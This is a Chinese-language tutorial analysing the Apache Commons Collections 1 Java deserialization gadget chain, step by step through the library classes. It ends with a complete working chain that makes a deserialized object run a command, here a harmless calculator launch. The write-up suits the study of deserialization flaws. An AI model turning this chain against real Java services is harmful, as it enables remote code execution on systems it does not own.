Commons Collections 1分析 环境依赖
1 2 3 4 Apache Commons Collections 3.0 - 4.0 后续在 3.2.2/4.1 版本做了修复 TransformedMap - jdk < 8u71
1 2 3 4 5 6 7 <dependencies > <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.2.1</version > </dependency > </dependencies >
前置知识 AbstractMapDecorator 首先 CC 库中提供了一个抽象类 org.apache.commons.collections.map.AbstractMapDecorator,这个类是 Map 的扩展,并且从名字中可以知道,这是一个基础的装饰器,用来给 map 提供附加功能,被装饰的 map 存在该类的属性中,并且将所有的操作都转发给这个 map。
这个类有很多实现类,各个类触发的方式不同,重点关注的是 TransformedMap 以及 LazyMap。
org.apache.commons.collections.map.TransformedMap 类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由 Transformer 来定义,Transformer 在 TransformedMap 实例化时作为参数传入。
也就是说当 TransformedMap 内的 key 或者 value 发生变化时(例如调用 TransformedMap 的 put 方法时),就会触发相应参数的 Transformer 的 transform() 方法。
LazyMap org.apache.commons.collections.map.LazyMap 与 TransformedMap 类似,不过差异是调用 get() 方法时如果传入的 key 不存在,则会触发相应参数的 Transformer 的 transform() 方法。
与 LazyMap 具有相同功能的,是 org.apache.commons.collections.map.DefaultedMap,同样是 get() 方法会触发 transform 方法。
分析链子 CC1链的利用点是Commons Collections库中的Tranformer接口的transform方法。
找哪些类实现了 Transformer 接口
将所有实现Transformer接口的都看一遍,发现了可利用的:
InvokerTransformer实现了Transformer且实现了Serializable
重点看构造器和实现的transform方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { this .iMethodName = methodName; this .iParamTypes = paramTypes; this .iArgs = args; } public Object transform (Object input) { if (input == null ) { return null ; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this .iMethodName, this .iParamTypes); return method.invoke(input, this .iArgs); } catch (NoSuchMethodException var4) { throw new FunctorException ("InvokerTransformer: The method '" + this .iMethodName + "' on '" + input.getClass() + "' does not exist" ); } catch (IllegalAccessException var5) { throw new FunctorException ("InvokerTransformer: The method '" + this .iMethodName + "' on '" + input.getClass() + "' cannot be accessed" ); } catch (InvocationTargetException ex) { throw new FunctorException ("InvokerTransformer: The method '" + this .iMethodName + "' on '" + input.getClass() + "' threw an exception" , ex); } } } }
其中外部构造器允许传入方法名、参数类型、参数列表
transform接收一个对象,然后反射调用,方法值、参数类型、参数都可控
那么我们就可以利用这里来调用任意类的任意方法,先写一个最经典的,弹计算器的demo
1 2 3 4 5 6 7 8 9 10 public class Test { public static void main (String[] args) throws Exception { Runtime r = Runtime.getRuntime(); Class c = Runtime.class; Method m = c.getDeclaredMethod("exec" , String.class); m.setAccessible(true ); m.invoke(r,"open -a Calculator" ); } }
尝试用transform方法来调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 package org.ysoserial.CC1;import org.apache.commons.collections.functors.InvokerTransformer;import java.lang.reflect.Method;public class Test { public static void main (String[] args) throws Exception { Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"open -a Calculator" }); invokerTransformer.transform(r); } }
确定触发点后,往后找适合的子类,构造漏洞链,直到找到入口点。
找某个类中的某个方法调用了transform,右键FindUsages,注意勾选上libraries,以查找库代码中的调用
记得
其中TransformedMap.checkSetValue调用了transform且TransformedMap类实现了Serializable
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable { ...... protected TransformedMap (Map map, Transformer keyTransformer, Transformer valueTransformer) { super (map); this .keyTransformer = keyTransformer; this .valueTransformer = valueTransformer; } ...... protected Object checkSetValue (Object value) { return valueTransformer.transform(value); }
可以看到构造器和checkSetValue方法都是protected权限的,也就是说只能本类内部访问,不能外部调用去实例化,那么我们就需要找到内部实例化的工具,这里往上查找,可以找到一个public的静态方法decorate
1 2 3 public static Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap (map, keyTransformer, valueTransformer); }
那么就很明确了,我们可以先调用这个方法,然后实例化这个类,然后再想办法调用checkSetValue方法
接下来看哪里调用了checkSetValue?
发现AbstractInputCheckedMapDecorator.setValue调用了checkSetValue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 abstract class AbstractInputCheckedMapDecorator extends AbstractMapDecorator { protected AbstractInputCheckedMapDecorator () { super (); } protected AbstractInputCheckedMapDecorator (Map map) { super (map); } ...... static class MapEntry extends AbstractMapEntryDecorator { private final AbstractInputCheckedMapDecorator parent; protected MapEntry (Map.Entry entry, AbstractInputCheckedMapDecorator parent) { super (entry); this .parent = parent; } public Object setValue (Object value) { value = parent.checkSetValue(value); return entry.setValue(value); } }
Entry代表的是Map中的一个键值对,而我们在Map中我们可以看到有setValue方法,而我们在对Map进行遍历的时候可以调用setValue这个方法
而上面父类MapEntry实际上是重写了setValue方法,它继承了AbstractMapEntryDecorator这个类,这个类中存在setValue方法
而这个类又引入了Map.Entry接口,所以我们只需要进行Map遍历,就可以调用setValue方法,然后调用checkSetValue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 package org.ysoserial.CC1;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.map.TransformedMap;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Map;public class Test { public static void main (String[] args) throws Exception { Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"open -a Calculator" }); HashMap<Object, Object> map = new HashMap <>(); map.put("key" , "value" ); Map<Object,Object> transformedMap = TransformedMap.decorate(map,null ,invokerTransformer); for (Map.Entry<Object,Object> entry:transformedMap.entrySet()){ entry.setValue(r); } } }
接着要跟进setValue,谁调用了setValue?
找到AnnotationInvocationHandler.readObject
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 class AnnotationInvocationHandler implements InvocationHandler , Serializable { private static final long serialVersionUID = 6182022883658399397L ; private final Class<? extends Annotation > type; private final Map<String, Object> memberValues; AnnotationInvocationHandler(Class<? extends Annotation > type, Map<String, Object> memberValues) { Class<?>[] superInterfaces = type.getInterfaces(); if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0 ] != java.lang.annotation.Annotation.class) throw new AnnotationFormatError ("Attempt to create proxy for a non-annotation type." ); this .type = type; this .memberValues = memberValues; } ...... private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); AnnotationType annotationType = null ; try { annotationType = AnnotationType.getInstance(type); } catch (IllegalArgumentException e) { throw new java .io.InvalidObjectException("Non-annotation type in annotation serial stream" ); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name))); } } } }
可以看到这个类中的memberValues是可控的,这样我们就看传入自己需要的,然后实现setValue方法。
但该类没有public声明,只能在本包下被调用。反射,构造poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 package org.ysoserial.CC1;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Map;public class Test { public static void main (String[] args) throws Exception { Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"open -a Calculator" }); HashMap<Object, Object> map = new HashMap <>(); map.put("key" , "value" ); Map<Object,Object> transformedMap = TransformedMap.decorate(map,null ,invokerTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor annotationInvocationHandlerConstruction = c.getDeclaredConstructor(Class.class,Map.class); annotationInvocationHandlerConstruction.setAccessible(true ); Object o = annotationInvocationHandlerConstruction.newInstance(Override.class,transformedMap); serialize(o); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); oos.close(); } public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (filename)); Object obj = ois.readObject(); return obj; } }
报错。问题出在Runtime不能被序列化以及setValue值不可控上,详情见:JAVA安全初探(三):CC1链全分析-先知社区
完整的CC1链 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{ String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{ Object.class, Object[].class}, new Object []{null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class }, new String []{"open -a Calculator" }), }; Transformer transformerChain = new ChainedTransformer (transformers); Map innerMap = new HashMap (); Map outerMap = LazyMap.decorate(innerMap, transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true ); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class []{Map.class}, handler); handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(handler); oos.close(); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (barr.toByteArray())); Object o = (Object) ois.readObject(); }